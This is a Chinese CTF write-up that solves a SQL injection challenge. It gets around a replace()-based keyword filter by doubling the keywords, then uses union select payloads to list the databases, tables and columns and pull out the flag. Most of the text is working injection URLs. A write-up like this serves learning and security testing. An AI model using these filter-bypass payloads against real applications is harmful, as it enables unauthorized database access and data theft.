考点就是一系列的sql注入操作 和 replace函数过滤 

 进入页面如图

基础过滤测试 union 、select 、information_schema试试有没有被过滤

?username=admin&password=pwd %27 union select 1 %23

具体回显如下:只保留了 1# ,这就说明被检测到了union和select

check the manual that corresponds to your MariaDB server version for the right syntax to use near '1#'' at line 1 

双写一下呢(原理是猜测使用replace函数,查找到union和select等然后替换为空)

?username=admin&password=pwd %27 ununionion seselectlect 1 %23

呜呼~,看来是注入成功了,但是我们现在的列数还不对

?username=admin&password=pwd %27 ununionion seselectlect 1,2,3 %23

加一下列数,发现测试到3的时候,出现了对我们很友善的回显,注意看会显得数字2 和 3 这是我们注入的第二列和第三列。

既然是mariadb就测试一下version函数能不能用吧

?username=admin&password=pwd %27 ununionion seselectlect 1,2,version() %23

下图算是印证了我们的注入点。 

下面开始爆库,发现当前连接的数据库是geek。

?username=admin&password=pwd%20%27 ununionion seselectlect 1,2,database() %23

然后爆所有数据库名字 

?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

然后我们发现了ctf库,推测这才是有flag的库 ,当然当前的库也有可能。

 

爆表,此时注意information被过滤了or,from也被过滤了,还包括where所以都双写一下(原因是,一般处理方式都为同一种)

 发现被过滤的payload ,用geek库做示例

?username=admin&password=pwd%20%27 ununionion seselectlect 1,2,
group_concat(table_name)from(information_schema.tables)whwhereere table_schema="geek" %23

双写后成功的payload

geek库的表

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="geek" %23

 

ctf库的表 ,此处发现Flag表

 ?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23

 

查Flag表中的字段名都有什么

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere 
 table_name="Flag"%23

最后查最后的数据,从ctf库中Flag表中的flag字段查一哈有啥

?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23